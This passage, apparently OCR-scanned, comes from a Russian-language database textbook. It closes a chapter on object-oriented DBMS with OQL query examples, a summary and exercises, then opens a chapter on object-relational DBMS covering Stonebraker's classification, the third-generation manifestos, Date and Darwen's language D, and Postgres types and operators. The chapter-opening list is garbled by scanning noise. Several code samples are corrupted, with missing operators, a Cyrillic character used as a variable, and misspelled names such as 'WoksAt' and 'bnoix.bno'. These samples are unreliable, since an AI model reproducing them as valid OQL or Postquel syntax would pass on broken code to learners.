Приведенный ниже запрос возвратит литерал типа set<string>.
. define Londoners as
select x
from x in staff
where x.address.city="London"
select x.name.lname from x in Londoners
4. Получить структурированный набор сведений обо всех сотрудниках (без идентификаторов ), которые проживают в Лондоне, с указанием их имени, пола и возраста.
, Приведенный ниже запрос возвратит литерал типа set<struct>.
select struct (Iname:x.name.lname, sex:x.sex, age:x.age) from x in staff
where x.address.city="London"
Получить структурированный набор сведений обо всех заместителях менеджеров старше 60 лет (с идентификаторами) с указанием их имени, пола и возраста. Приведенный ниже запрос возвратит изменяемый объект типа deputies.
type deputies {attributes Iname .’String; age:integer;}
deputies (select struct (Iname:x.name.lname, sex:x.sex, age:x.age)
from x in (select у from staff where positions"Deputy") where x.age>60)
Получить структурированный набор сведений обо всех ассистентах (без идентификаторов ) с указанием номера отделения для всех отделений компании в Лондоне. Приведенный ниже запрос возвратит набор литералов типа set<struct>.
select struct (bnoix.bno, assistants:(select у from у in x.WoksAt
where y.position="Assistant”))
from x in (select z from branch_offices
where z.address.city="London")
Создание объектов
Для создания объекта с идентификатором используется конструктор требуемого типа. Например, для создания объекта Person можно было бы использовать такую конструкцию:
Person(fname:"John", Iname:"White", address:"19 Taylor St, Cranford, London", tel_no;"0171-884-5112", sex:"M", date_of_birth:"1-Oct-45")
Любым неинициализированным свойствам присваивается значение, принимаемое по умолчанию. Объекты также можно создавать с помощью запроса. Например, при наличии типа retirer можно было бы создать объект этого типа с помощью приведенного ниже запроса.
retirer(select struct(Iname:x.name.lname, sex:x.sex, age:x.age))
from x in staff
where x.age>60)
Как показано в примере 22.2.4, объекты без идентификатора создаются с помощью ключевого слова struct.
Резюме
ООСУБД управляет работой ООБД, которая является перманентным и совместно используемым репозиторием объектов, определенных в модели данных ООМД. Модель данных ООМД включает семантику объектов, поддерживаемых в объектно-ориентированном программировании. В отношении этой модели данных еще нет общепринятой точки зрения.
Перманентным языком программирования называется язык, который предоставляет его пользователям возможность (прозрачно) сохранять данные, полу-
ченные в результате успешного выполнения программы. Данные в перманентном языке программирования не зависят ни от какой конкретной программы, способны существовать после завершения создавшей их программы и даже по окончании жизненного цикла того программного кода, с помощью которого они были созданы. Однако изначально такие языки не предназначались для обеспечения полной функциональности баз данных или для доступа к данным со стороны программ на разных языках.
Для разработки ООСУБД могут использоваться различные альтернативные подходы: расширение существующего объектно-ориентированного языка средствами работы с базой данных; разработка дополнительных объектно-ориентированных библиотек функций для работы с СУБД; создание встроенных в обычный базовый язык конструкций для работы с ООБД; расширение существующего языка работы с базой данных объектно-ориентированными функциями; разработка новой модели данных и нового языка работы с данными.
Вероятно, два наиболее важных аспекта с точки зрения программиста заключаются в обеспечении повышенной производительности и простоты использования. Обе эти цели можно достичь за счет обеспечения более гладкой интеграции языка программирования и СУБД, чем та, которая имеет место в традиционных СУБД. В последних используется двухуровневая модель хранения: модель хранения данных приложения в оперативной или виртуальной памяти и модель хранения информации базы данных на диске. В ООСУБД, наоборот, предпринята попытка создать иллюзию одноуровневой модели хранения с одинаковым представлением данных как в оперативной памяти, так и в базе данных, размещенной на жестком диске.
Существуют два типа OID-идентификаторов: логические OID-идентификаторы, которые не зависят от физического расположения объекта на диске, а также физические OID-идентификаторы, в которых закодировано расположение объекта на диске. Первый случай характеризуется некоторой косвенностью, которая необходима для подстановки физического адреса объекта на диске. Но в обоих случаях OID- идентификатор отличается по размеру от стандартного указателя памяти, которому нужно только быть достаточно большим для адресации всей виртуальной памяти.
Для достижения требуемой производительности ООСУБД должна уметь конвертировать OID-идентификаторы в указатели оперативной памяти. Этот метод преобразования известен как подстановка указателей, или подстановка объектов, а используемые для его реализации методы варьируются в широких пределах от программных методов проверки расположения в памяти до аппаратных методов работы со страницами памяти.
Схемы обеспечения перманентности включают методы создания контрольных точек, сериализации, явной подкачки страниц и ортогональной перманентности. Ортогональная перманентность основана на трех фундаментальных принципах: независимости перманентности, ортогональности типов данных и транзитивности перманентности.
Преимущества ООСУБД включают улучшенные возможности моделирования, расширяемость, устранение проблемы несоответствия, более выразительный язык запросов, поддержку эволюции схемы и долговременных транзакций, применимость для сложных специализированных приложений баз данных, а также повышенную производительность. Среди недостатков следует отметить отсутствие универсальной модели данных, необходимого опыта эксплуатации, стандартов, а также влияние оптимизации запросов на инкапсуляцию, влияние блокировки на уровне объектов на производительность, повышенную сложность, отсутствие поддержки механизма представлений и недостаточность существующих средств защиты.
Некоторые наиболее влиятельные фирмы-производители образовали группу Object Database Management Group (ODMG), целью которой является под го-
товка стандартов для ООСУБД. Группа ODMG разработала объектную модель, в которой описана стандартная модель для семантики объектов базы данных. Эта модель имеет большое значение, поскольку определяет встроенную семантику, которую понимает и может реализовать ООСУБД. Структура библиотек классов и приложений, использующих эту семантику, должна быть переносимой среди разных ООСУБД, которые поддерживают данную объектную модель. Основными компонентами архитектуры ODMG являются: объектная модель (ОМ), язык определения объектов (ODL), язык объектных запросов (OQL), а также способность связывания с языками C++, Java и Smalltalk.
Вопросы
Сравните разные определения объектно-ориентированных моделей данных и укажите существующие между ними различия.
Что такое перманентный язык программирования и чем он отличается от ООСУБД?
Назовите различия между двухуровневой моделью хранения, используемой в традиционной СУБД, и одноуровневой моделью хранения, используемой в ООСУБД.
Как одноуровневая модель хранения влияет на механизмы доступа к данным?
Назовите основные стратегии, используемые для создания перманентных объектов.
Что такое подстановка указателей? Опишите разные подходы реализации этого метода.
Назовите разные типы протоколов обработки транзакций, которые могут быть полезны для проектирования приложений.
Поясните, почему управление версиями может быть полезным в некоторых приложениях.
Объясните, почему управление схемой может быть полезным в некоторых приложениях.
Сравните разные архитектуры построения ООСУБД и укажите отличия между ними.
Упражнения
Предложите несколько методов, которые можно было бы применить для реализации реляционной схемы, приведенной в упражнениях в конце главы 3. Составьте объектно-ориентированную схему для этой системы.
Используя созданную в предыдущем упражнении схему, продемонстрируйте, как будут выглядеть перечисленные ниже запросы на языке объектных запросов OQL.
Получить список всех отелей.
Получить список всех одноместных комнат с ежесуточной платой менее 20 фунтов стерлингов.
Получить список имен и адресов для всех постояльцев.
Получить список цен и типов номеров для всех номеров отеля Grosvenor Hotel.
Получить список всех постояльцев отеля Grosvenor Hotel.
Получить описания для всех номеров отеля Grosvenor Hotel, включая имена постояльцев, которые в них проживают.
Получить описания всех постояльцев отеля Grosvenor Hotel, включая занимаемый ими номер, их имя и адрес.
Создайте проект объектно-ориентированной базы данных для учебного приложения DreamHome, представленного в разделе 1.7. Обоснуйте любые допущения, сделанные вами при создании этого проекта.
Создайте проект объектно-ориентированной базы данных для учебного приложения Wellmeadows Hospital, представленного в приложении А. Обоснуйте любые допущения, сделанные вами при создании этого проекта.
Предположим, что директор фирмы DreamHome поручил вам провести исследование и подготовить отчет о применимости объектно-ориентированной СУБД в этой организации. В данном отчете следует провести сравнение технологии реляционных СУБД с технологией объектно-ориентированных СУБД, перечислить преимущества и недостатки развертывания ООСУБД в данной организации, а также указать все предполагаемые проблемные области. Наконец, этот отчет должен содержать полностью обоснованное заключение о применимости ООСУБД в компании DreamHome.
Используя правила сохранения непротиворечивости схемы, приведенные в разделе 22.4.3, рассмотрите каждую из следующих модификаций и докажите, какое влияние на схему окажет каждая из них:
добавление атрибута в класс;•
удаление атрибута из класса;
создание на основе класса S суперкласса для класса С;
удаление класса S из списка суперклассов класса С;
создание нового класса С.
Объектно
реляционные СУВД1
ГЛАВА
м
В этой главе
Расширение реляционной модели для поддержки ел . зированных приложений баз данных.
Функции, предлагаемые для СУБД третьего поколениям
CADE/а также в манифесте Дарвена и Дэйта.
Расширения реляционной модели данных, реализованные в системах
Объектно-ориентированные функции, предлагаемые для включения в1 < , стандарт SQL3 — очередную версию стандарта языка SQLj >л < ^^^®r^^^^ffi^^^^bi;. .itllflil
||||||т^^^определенные пользователем; '"•||^^|
||||f ||||в8|^!
♦ Ссылочные типы и обеспечение идентичности Ьб^ектовГ ^Х,
V к типы коллекций (ARRAY, SET,.LIST и MULTISET); ^хй |ЙЙ*^сширения/^^
г вычислительной полноты;X , / /^’//^ .
триггеры; У ч
поддержка больших объектов —'бин^|&;бЖ^^^
(Binary Large Object— BLOB) и ^им&ьных ЙАЙих V'^
' (Character Large Object ~ GLOB), / LW:p^ Расширенияфункций обработки и оптимизавЖреляцД^
сов, необходимые дляЭоддержки сложных "
ж
задро-
специализированныхзапросов. ..
Сравнительная характеристика объектно -ориентированных и объектно-
&
реляционных СУБД в отношении модели данных, методов дос^па к данным и методов совместного использования данных. ^
Жр!
В главах 21, “Введение в объектные СУБД”, и 22, “Объектно-ориентированные СУБД”, рассматриваются основные концепции объектно-ориентированного подхода и объектно-ориентированных систем управления базами данных (ООСУБД). В главе 21 также представлено описание типов сложных специализированных приложений баз данных, появившихся в последнее время, и указаны недостатки существующих реляционных СУБД, которые не позволяют эффективно использовать их в этих типах приложений. Более подробно ООСУБД рассматриваются в главе 22, с указанием механизмов, которые с большей пользой позволяют применять этот тип СУБД в сложных специализированных приложениях. Для устранения недостатков, присущих реляционным системам, а также в ответ на потенциальную угрозу со стороны возрастающей популярности ООСУБД сообщество разработчиков реляционных СУБД предпринимает попытки расширения функциональных возможностей РСУБД. В этой главе рассматриваются некоторые подобные расширения, а также способы, с помощью которых можно устранить недостатки, описанные в разделе 21.2. Кроме того, здесь же рассматриваются некоторые проблемы, возникающие в связи с введением этих новых расширений.
Структура этой главы
В разделе 23.1 приведены основные сведения об объектно-реляционных СУБД (РСУБД) и о типах приложений, в которых они могут использоваться. В разделе 23.2 обсуждаются два манифеста СУБД третьего поколения, основанных на реляционной модели данных, в которых предлагается особый взгляд на очередное поколение СУБД. В разделе 23.3 обсуждаются некоторые ранние расширения, реализованные в типичных реляционных СУБД, а в разделе 23.4 вашему вниманию предлагается подробный обзор функциональных возможностей, предложенных для включения в очередную версию стандарта языка SQL (стандарт SQL3). В разделе 23.5 обсуждаются некоторые необходимые функциональные возможности ОРСУБД, которые не получили отражения в стандарте SQL3. Завершается эта глава сравнительным анализом функциональных возможностей ОРСУБД и ООСУБД.
Изложение материала этой главы предполагает, что читатель хорошо знаком с содержанием главы 21. Все примеры в этой главе взяты из учебного проекта DreamHome, описанного в разделе 1.7.
Введение в объектно-реляционные СУБД
В настоящее время реляционные СУБД являются доминирующим типом систем управления базами данных, приблизительный ежегодный объем продажи которых составляет 8-10 миллиардов долларов США (или 25 миллиардов долларов с учетом продажи инструментов для их разработки). Темпы роста объема продаж составляют до 25% в год. ООСУБД, которые рассматривались в главе 22, изначально нашли применение в области инженерно-конструкторских работ и только недавно стали приобретать популярность в финансовых и телекоммуникационных приложениях. Хотя рынок ООСУБД все еще относительно мал (объем продаж за 1996 год составил около 150 миллионов долларов США) и составляет лишь 3% от всего рынка баз данных (в 1997 году), тем не менее, ООСУБД продолжают находить все новые области применения, например в среде World Wide Web (подробнее об этом — в главе 24). Некоторые аналитики оценивают темпы ежегодного прироста рынка ООСУБД на уровне 50%, что выше темпов роста для всего рынка баз данных в целом. Однако маловероятно, что в обозримом будущем объемы продаж этих новых систем превзойдут объемы продаж реляционных СУБД, поскольку этот тип СУБД прекрасно подходит для достаточно большого количества компаний, инвестировавших в их развитие такие огромные средства и ресурсы, что любая замена становится практически невозможной.
До недавнего времени выбор типа СУБД ограничивался только реляционными и объектно-ориентированными СУБД. Однако многие фирмы-разработчики РСУБД прекрасно осознают потенциальную угрозу со стороны ООСУБД. Они признают, что
их системы в настоящее время не подходят для создания сложных специализированных приложений, рассматривавшихся в разделе 21.1. Чтобы обеспечить возможность применения реляционных СУБД в этих типах приложений, необходимо расширить функциональные возможности существующих систем. Они отвергают критические заявления о том, что расширенные РСУБД не способны предоставить требуемые функциональные возможности или слишком медленны, чтобы адекватно справляться с новыми сложными задачами.
Если внимательно рассмотреть новые сложные специализированные приложения баз данных, то можно заметить, что в них широко используются такие объектноориентированные компоненты, как расширяемая пользователем система типов, инкапсуляция, наследование, полиморфизм, динамическое связывание методов, использование составных объектов (включая объекты, которые не находятся в первой нормальной форме), а также поддержка идентичности объектов. Наиболее очевидный способ преодоления ограничений реляционной модели заключается в ее расширении упомянутыми функциями. Именно такой подход был предпринят во многих прототипах расширенных реляционных систем, хотя в каждой из них реализован свой собственный и отличный от других набор функциональных возможностей. Таким образом, не существует какой-то одной общепринятой расширенной реляционной модели, а скорее имеется несколько таких моделей, характеристики которых зависят от способа и степени реализации внесенных расширений. Однако во всех этих моделях используются одинаковые базовые реляционные таблицы и язык запросов, включено понятие объекта, а в некоторых дополнительно реализована возможность сохранения методов (или процедур, или триггеров) таким же способом, что и в базе данных.
Для систем с расширенной реляционной моделью данных используются самые разные термины. Сначала для их описания применяли термин расширенная реляционная СУБД (Extended Relational DBMS — ERDBMS). Однако в последние годы используется более информативный термин объектно-реляционная СУБД» или ООСУБД (Object-Relational DBMS — ORDBMS), в котором содержится указание на использование в системе понятия объект. Наконец, совсем недавно стал использоваться термин универсальный сервер (Universal Server), универсальная СУБД» или УСУБД (Universal DBMS). В этой главе будет использоваться термин объектно-реляционная СУБД, или ОРСУБД. Три ведущих фирмы в области разработки РСУБД, а именно Oracle, Informix и IBM, расширили свои системы до уровня ОРСУБД, хотя их функциональные возможности немного отличаются. Концепция ОРСУБД, как комбинации ООСУБД и РСУБД, очень притягательна за счет применения всех тех богатейших знаний и опыта, которые были накоплены за время работы с РСУБД. Причем она настолько привлекательна, что некоторые аналитики предсказывают, что в недалеком будущем рыночная доля ОРСУБД будет на 50% выше доли РСУБД.
Как и следовало ожидать, разработка стандартов в этой сфере построена на расширении стандарта языка SQL. Национальные институты стандартизации работают над созданием расширений языка SQL с 1991 года. Эти расширения стали частью нового чернового варианта стандарта языка SQL, который обычно называют стандартом SQL3. Стандарт SQL3 представляет собой продолжающуюся и по сей день попытку стандартизовать расширения реляционной модели и языка запросов. Более подробно объектные расширения языка SQL рассматриваются в разделе 23.4.
Мнение Стоунбрекера
Стоунбрекер предложил свою точку зрения на мир баз данных, которая отражена на рис. 23.1 (Stonebraker, 1996). В нижнем левом квадранте представлены приложения для обработки простых данных, не предусматривающие каких-либо требований в отношении выполнения запросов к данным. К ним относятся такие стандартные пакеты для обработки текстов, как Word, WordPerfect и Framemaker, использующие базовую операционную систему для получения доступа к важнейшим функциональным возможностям любых СУБД, заключающимся в обеспечении перманентности данных. В нижнем правом квадранте расположены приложения, которые обрабаты-
вают сложные данные, но также не имеют каких-либо серьезных требований в отношении выполнения запросов к данным. Для таких приложений, например для пакетов автоматизированного проектирования, наиболее подходящим выбором может стать ООСУБД. В верхнем левом квадранте находятся приложения, которые используют простые данные, но нуждаются в выполнении сложных запросов. К этой категории можно отнести многие традиционные бизнес-приложения, для которых наиболее подходящим типом СУБД являются РСУБД. Наконец, в верхнем правом квадранте располагаются приложения, связанные с обработкой сложных данных, в отношении которых требуется выполнять сложные запросы. Примерами таких приложений являются некоторые сложные специализированные приложения из числа рассматривавшихся в разделе 21.1. Для их создания лучше всего подходят ОРСУБД.
Реляционные СУБДРеляционные СУБДОбъектно-реляционные СУБДОбъектно-реляционные СУБДФайловые системыФайловые системыОбъектно-ориентированные СУБДОбъектно-ориентированные СУБДВозможности поиска/многопользовательская поддержка
Реляционные СУБД
Реляционные СУБД
Объектно-реляционные СУБД
Объектно-реляционные СУБД
Файловые системы
Файловые системы
Объектно-ориентированные СУБД
Объектно-ориентированные СУБД
Сложность данных/расширяемость
Рис. 23.1. Классификация СУБД по схеме Стоунбрекера
Следует отметить, что эта классификация имеет очень упрощенный характер, а потому многие приложения баз данных не так легко поддаются классификации. Более того, с появлением модели данных и языка запросов, предложенных группой ODMG (раздел 22.8), и с добавлением компонентов объектно-ориентированного управления данными в язык SQL различия между ОРСУБД и ООСУБД становятся все меньше.
Преимущества
Помимо устранения многих недостатков, указанных в разделе 21.2, основными преимуществами расширенной реляционной модели данных являются повторное и совместное использование компонентов. Повторное использование основано на возможности расширения сервера СУБД стандартными функциями, которые выполняются централизованно и не входят в виде выполняемого кода в состав каждого приложения. Например, в приложениях может понадобиться использовать данные пространственного типа, представляющие точки, линии и многоугольники, со связанными с ними функциями, которые вычисляют расстояние между точками, расстояние между точкой и линией, проверяют наличие точки в многоугольнике, проверяют перекрытие некоторых многоугольников и т.д. Если расположить эти функции на сервере, то в таком случае можно избежать их определения в каждом приложении и совместно использовать данные функции всеми приложениями. Данные преимущества также позволяют повысить производительность труда как разработчиков, так и конечных пользователей.
Другое очевидное преимущество заключается в том, что расширенный реляционный подход позволяет воспользоваться обширным объемом накопленных знаний и опыта, связанных с разработкой реляционных приложений. Это очень важное достоинство, поскольку многие организации не хотели бы тратить средства на достаточно дорогой переход к системе нового типа. При правильном проектировании с учетом новых функциональных возможностей подобный подход позволяет организациям воспользоваться преимуществами новых расширений эволюционным путем без утраты преимуществ, получаемых от использования компонентов и функций уже существующей базы данных. Таким образом, переход к ОРСУБД можно организовать в интегрирующем, эволюционном стиле посредством выполнения некоторых пробных и экспериментальных проектов. Будущий стандарт SQL3 проектируется с учетом совместимости снизу вверх с текущим стандартом SQL, а потому любые ОРСУБД, совместимые с SQL3, должны удовлетворять этому условию.
Недостатки
Очевидными недостатками подхода с использованием ОРСУБД являются сложность и связанные с ней повышенные расходы. Более того, некоторые сторонники реляционного подхода уверены, что простота и ясность, присущая реляционной модели, утрачивается при использовании подобных типов расширений. Другие утверждают, что расширения РСУБД предназначены для незначительного количества приложений, причем в последних не может быть достигнута оптимальная производительность при использовании имеющейся реляционной технологии.
Кроме того, ревностным поклонникам объектно-ориентированного подхода также не нравятся подобные расширения. Они утверждают, что слабость объектно- реляционных систем изобличается даже используемой в них терминологией. Например, вместо объектной модели в объектно-реляционной технологии используется понятие определяемых пользователем типов, тогда как объектно-ориентированный подход имеет дело с абстрактными типами, иерархией классов и объектной моделью. Фирмы-поставщики ОРСУБД пытаются представить объекты как расширения реляционной модели с некоторыми дополнительными усложнениями. При этом потенциально утрачивается смысл объектно-ориентированного подхода, что и обнаруживается большим семантическим разрывом между этими двумя технологиями. Объектные приложения не настолько ориентированы на структуру данных, как реляционные приложения. Кроме того, для более адекватного отражения объектов реального мира в объектно-ориентированных моделях и приложениях связи и инкапсулированные объекты в значительной степени комбинируются. Это позволяет иметь более широкий набор типов связей, чем тот, который возможно выразить с помощью средств языка SQL, а также включать в определения объектов функциональные программы. Фактически объекты принципиально не являются очередным расширением понятия данных, потому что представляют совершенно другую концепцию, с гораздо большим потенциалом выражения связей и поведения сущностей реального мира.
В главе 13 уже отмечалось, что основными требованиями для языка баз данных являются максимальная простота использования с точки зрения пользователей и относительно простая структура команд и синтаксис. Исходный стандарт языка SQL, выпущенного в 1989 году, по-видимому, удовлетворял этим требованиям. Текущая версия стандарта языка SQL возросла в объеме от 60 до почти 600 страниц, а потому в этом случае труднее ответить на вопрос о том, удовлетворяет ли он этим требованиям или нет. К сожалению, размер чернового варианта стандарта SQL3 еще больше, и похоже, что эти два требования не только не удовлетворяются, но, скорее всего, даже не рассматриваются институтами стандартизации.
Манифесты баз данных третьего поколения
Успех реляционных систем в прошлом десятилетии очевиден. Однако в отношении следующего поколения СУБД горячие споры еще не прекратились. Традиционалисты уверены, что вполне достаточно расширить реляционную модель дополнительными функциональными возможностями. С одной стороны, одна очень влиятельная группа специалистов опубликовала манифест объектно-ориентированных СУБД, создаваемых на основе объектно-ориентированной парадигмы (Atkinson, et al., 1989), — он представлен в разделе 22.5. С другой стороны, комитет по вопросам расширения функциональности СУБД (Committee for Advanced DBMS Function — CADF) опубликовал манифест баз данных третьего поколения (Third-Generation Database System Manifesto, Stonebraker et al., 1990), в котором определено несколько принципов, которым должна удовлетворять любая современная СУБД. Совсем недавно Дарвен и Дэйт опубликовали третий манифест (Third Manifesto) в защиту реляционной модели данных (Darwen and Date, 1995; 1998). В данном разделе рассматриваются оба этих манифеста.
Манифест баз данных третьего поколения
В манифесте, опубликованном комитетом CADF, предлагаются следующие функции, которые должна поддерживать любая СУБД третьего поколения.
Прежде всего, обладать богатой системой типов.
Желательна поддержка механизма наследования.
Желательно, чтобы в ней поддерживались функции, включая процедуры базы данных и методы, а также механизм инкапсуляции.
Уникальные идентификаторы для записей должны присваиваться средствами СУБД только в том случае, когда нельзя использовать определенные пользователем первичные ключи.
Правила (триггеры и ограничения) станут важнейшим компонентом будущих систем. Они не должны быть связаны с какой-то конкретной функцией или коллекцией.
Очень важно, чтобы все программные способы доступа к базе данных осуществлялись с помощью непроцедурного языка высокого уровня.
Должны существовать по крайней мере дга способа определения коллекций: один на основе перечисления членов коллекции, а другой — с использованием языка запросов для определения членства в коллекции.
Существенным является наличие обновляемых представлений.
Индикаторы производительности не должны иметь никакого отношения к моделям данных и не должны присутствовать в них.
СУБД третьего поколения должны быть доступны из многих языков высокого уровня.
Желательно, чтобы высокоуровневые языки программирования обладали перманентными формами. Сверху все они должны поддерживаться единой СУБД с использованием расширений компилятора и сложной системы поддержки выполнения программ.
Плохо ли это или хорошо, но язык SQL есть и остается “межгалактическим языком работы с данными”.
Запросы и ответы на них должны составлять самый нижний уровень взаимодействия клиента и сервера.
Третий манифест (Third Manifesto)
В манифесте “Third Manifesto” Дарвена и Дэйта (Darwen and Date, 1995; 1998) предпринимается попытка защитить реляционную модель данных, описанную в их книге “Relational Database Writings” (1992 г.) и слегка переработанную в книге Дэйта “Ап Introduction to Database Systems” (1995 г.). Авторы признают, что было бы желательно использовать некоторые объектно-ориентированные компоненты, но уверены в том, что они ортогональны по отношению к реляционной модели, так что “реляционная модель не нуждается ни в каких расширениях, исправлениях, категоризациях и, более всего, в извращениях”. Однако язык SQL недвусмысленно отвергнут как изврсицение этой модели, а вместо него предложен язык D. Однако при этом предполагается, что для языка D предусмотрен внешний уровень, на котором может использоваться язык SQL, что позволяет организовать работу с пользователями языка SQL. Язык D в данном манифесте основан на следующих предпосылках, представленных в табл. 23.1:
предписания, основанные на реляционной модели;
предписания, не основанные на реляционной модели;
запреты, основанные на реляционной модели;
запреты, не основанные на реляционной модели.
Таблица 23.1. Требования к языку D
Реляционная модель
Предписания
Запреты
1. Домены
1. Отсутствие упорядочения атрибутов
2. Типизированные скаляры
2. Отсутствие упорядочения кортежей
3. Скалярные операторы
3. Отсутствие дубликатов кортежей
4. Фактическое представление
4. Отсутствие неопределенных значений (NULL)
5. Значения истинности
5. Отсутствие NULL-логических ошибок1
6. Тип-конструктор TUPLE
6. Отсутствие конструкций на внутреннем уровне
7. Тип-конструктор RELATION
7. Отсутствие операторов на уровне кортежей
8. Оператор эквивалентности
8. Отсутствие составных столбцов
9. Кортежи
9. Отсутствие подмены проверки соответствия домену
Отношения
Скалярные переменные
Кортежные переменные
Переменные отношений (relvar)
Базовые или производные переменные отношений
Переменные баз данных (dbvar)
Транзакции и переменные баз данных
Операторы создания/удаления
Реляционная алгебра
Имена переменных отношений и значения явных отношений
10. Отсутствие языка SQL
Окончание табл. 23.1
Реляционная модель
Предписания
Запреты
Функции отношений
Присвоение отношения и кортежа
Сравнения
Ограничения целостности
Предикаты отношений и баз данных
Каталог
Макет языка
Прочие требования, не имеющие отношения к реляционной модели
Предписания
Запреты
Контроль типов во время компиляции
Единичное наследование (условно)
Множественное наследование (условно)
Вычислительная полнота
Явное разграничение транзакций
Вложенные транзакции
Агрегированные значения и пустые множества
Переменные отношений (relvar) не являются доменами
Отсутствие идентификаторов объектов
Отсутствие “открытых переменных экземпляра"
Отсутствие “закрытых переменных экземпляра” или дружественных им
^ Дарвен определяет NULL-логию как “изучение вообще ничего”, что понимается как изучение пустого множества. Множества являются важнейшим аспектом реляционной теории, и корректная обработка пустых множеств должна расцениваться как фундаментальное свойство реляционной модели.
Кроме того, в манифесте перечислено несколько очень строгих утверждений, основанных как на реляционной модели, так и ортогональных к ней (табл. 23.2).
Таблица 23.2. Очень строгие требования к языку D
Реляционная модель
Прочие требования
Потенциальные ключи для производных переменных отношения
Генерированные системой ключи
Целостность ссылок
Выведение потенциальных ключей
Долевые запросы (например, “найти трех самых молодых сотрудников”)
Транзитивное замыкание (для отношений)
Параметры кортежа и отношения
Значения, принимаемые по умолчанию
SQL-миграция
Наследование типов
Типы-конструкторы коллекций
Преобразование в отношения и обратно
Одноуровневое хранилище
Первичным объектом в этом предложении является домен, определяемый как именованное множество инкапсулированных значений произвольной сложности, который эквивалентен типу данных или объектному классу. К значениям домена в общем относятся как к скалярам, которыми можно манипулировать только с помощью операторов, определенных для данного домена. Язык D содержит некоторые встроенные домены, например домен логических значений с обычными логическими операторами (AND, OR, NOT и т.д.). Оператор эквивалентности (=) определен для каждого домена и возвращает значение TRUE тогда и только тогда, когда два члена домена эквивалентны. Для доменов предлагается использовать единичное и множественное наследование.
Отношения, кортежи и заголовки кортежей имеют их обычное значение с введением конструкторов типов RELATION и TULPE для этих объектов. Кроме того, определены следующие переменные.
Скалярная переменная типа V, т.е. переменная, для которой допустимыми значениями являются скаляры из указанного домена V.
Переменная кортежа типа Н, т.е. переменная, для которой допустимыми значениями являются кортежи с указанным заголовком кортежа Н.
Переменная отношения (relvar) типа Н, т.е. переменная, для которой допустимыми значениями являются отношения с указанным заголовком отношения Н.
Переменная базы данных (dbvar), т.е. именованный набор переменных отношения. Каждая переменная базы данных обладает набором именованных ограничений целостности, а также связанным с ним самоопределяемым каталогом.
На транзакцию накладывается ограничение взаимодействия только с одной переменной базы данных, тогда как переменные отношения из этой переменной базы данных могут добавляться или удаляться динамически. Дополнительно должны поддерживаться вложенные транзакции. Кроме того, предполагается, что язык D может выполнять следующие функции.
Представляет реляционную алгебру “без излишних околичностей**.
Содержит операторы для создания/удаления именованных функций, чьими значениями являются отношения, определяемые с помощью заданных реляционных выражений.
Поддерживает следующие операторы сравнения:
(= и #) для кортежей;
(=, Ф, “является подмножеством’*, е для проверки принадлежности кортежа к данному отношению) для отношений.
■ Построен в соответствии с хорошо известными принципами правильного проектирования языка программирования.
Первые попытки создания ОРСУБД
В этом разделе рассматриваются некоторые первые попытки создания объектнореляционных СУБД: система Postgres (Post Ingres) и объектное расширение Object Management Extension для системы INGRES. Назначение этого раздела состоит в ознакомлении с некоторыми из способов, которые использовались для расширения реляционных систем. Однако в целом предполагается, что многие ведущие ОРСУБД будут удовлетворять стандарту SQL3 (по крайней мере, в определенной степени). СУБД Postgres является исследовательской системой, на основе которой разработчики системы INGRES предприняли попытку расширить реляционную модель абстрактными типами данных, процедурами и правилами. В результате система Postgres оказала существенное влияние на расширения объектного управления системы INGRES. Один из ее основных разработчиков, Майк Стоунбрекер, впоследствии занимался проектированием ОРСУБД Illustra фирмы Illustra Information Technologies, которая в настоящее время является частью ОРСУБД Informix фирмы Informix Software Inc.
3.3.1. ОРСУБД Postgres
Система Postgres (“Post Ingres”) является исследовательской системой управления базами данных, которая разрабатывалась как потенциальный наследник РСУБД INGRES (Stonebraker and Rowe, 1986). В данном проекте преследовались следующие цели.
Предоставление улучшенной поддержки сложных объектов.
Предоставление пользователям средств расширения типов данных, операторов и методов доступа.
Предоставление активных функций базы данных (обработчиков предупреждений и триггеров) и поддержка процесса логического вывода.
Упрощение кода СУБД для восстановления в случае сбоя.
Создание такого проекта системы, в котором использовались бы все преимущества оптических дисков, многопроцессорных рабочих станций и специализированных VLSI-микропроцессоров.
Внесение минимального количества изменений (желательно вообще без каких- либо изменений) в реляционную модель.
В СУБД Postgres реляционная модель расширена за счет включения следующих механизмов:
абстрактные типы данных;
данные типа “процедура”;
правила.
Эти механизмы используются для поддержки разнообразных семантических и объектно-ориентированных конструкций моделирования данных, включая агрегацию, генерализацию, составные объекты с совместно используемыми подчиненными объектами, атрибуты, содержащие ссылки на кортежи в других отношениях.
Абстрактные типы данных
Тип атрибута в отношении может быть атомарным или структурированным. В СУБД Postgres предусмотрено использование некоторого набора предопределенных атомарных типов: int2, int4, float4, floats, bool, char и date. Пользователи могут создавать новые атомарные и структурированные типы. Все типы данных определяются как абстрактные типы данных (Abstract Data Types — ADT). Определение ADT включает имя типа, его длину в байтах, процедуры преобразования значения из внутреннего во внешнее представление (и наоборот), а также принимаемое по умолчанию значение. Например, тип int4 во внутреннем представлении определяется следующим образом:
DEFINE TYPE int4 IS (InternalLength=4, InputProc=CharToInt4, OutputProc=Int4ToChar, Default^1 0")
Процедуры преобразования CharToInt4 и Int4ToChar реализуются на каком-нибудь языке высокого уровня, например на языке С, и определяются внутри системы с помощью команды define procedure. Оператор для абстрактных типов данных определяется на основе указания количества и типа операндов, типа возвращаемого значения, приоритета и ассоциативности данного оператора, а также процедуры, с помощью которой он определяется. В определении оператора также могут указываться вызываемые процедуры — например, сортировки отношения (Sort), если для реализации запроса выбрана стратегия сортировки-слияния, или же оператора отрицания в предикате запроса (Negator). Так, оператор +, предназначенный для сложения двух целых чисел, можно было бы определить следующим образом:
DEFINE OPERATOR м+,, (int4, int4) RETURNS int4
IS (Proc=Plus, Precedence=5, Associativity=”left,*)
Здесь, так же, как и в предыдущем случае, процедура Plus, которая реализует оператор +, должна программироваться на языке высокого уровня. Пользователи аналогичным образом могут определять их собственные атомарные типы.
Структурированные типы определяются с помощью конструкторов типа для массивов и процедур. Массив с переменной или фиксированной длиной определяется с помощью конструктора массива. Например, выражение char[25] определяет массив символов с фиксированной длиной в 25 символов. При опускании упоминания о длине массива получается массив с переменной длиной. Конструктор процедур позволяет использовать в атрибутах значения типа procedure, при этом процедура представляет собой ряд команд на языке Postquel, т.е. языке запросов, используемом в СУБД Postgres. Соответствующий тип данных называется postquel.
Отношения и наследование
Отношение в СУБД Postgres определяется следующим образом.
CREATE имя_таблицы (имя_cтoлбцa_l=type__l, имя_столбца 2=type2,...)
[KEY(список_имен_столбцов)]
[INHERITS(список_имен_таблиц)]
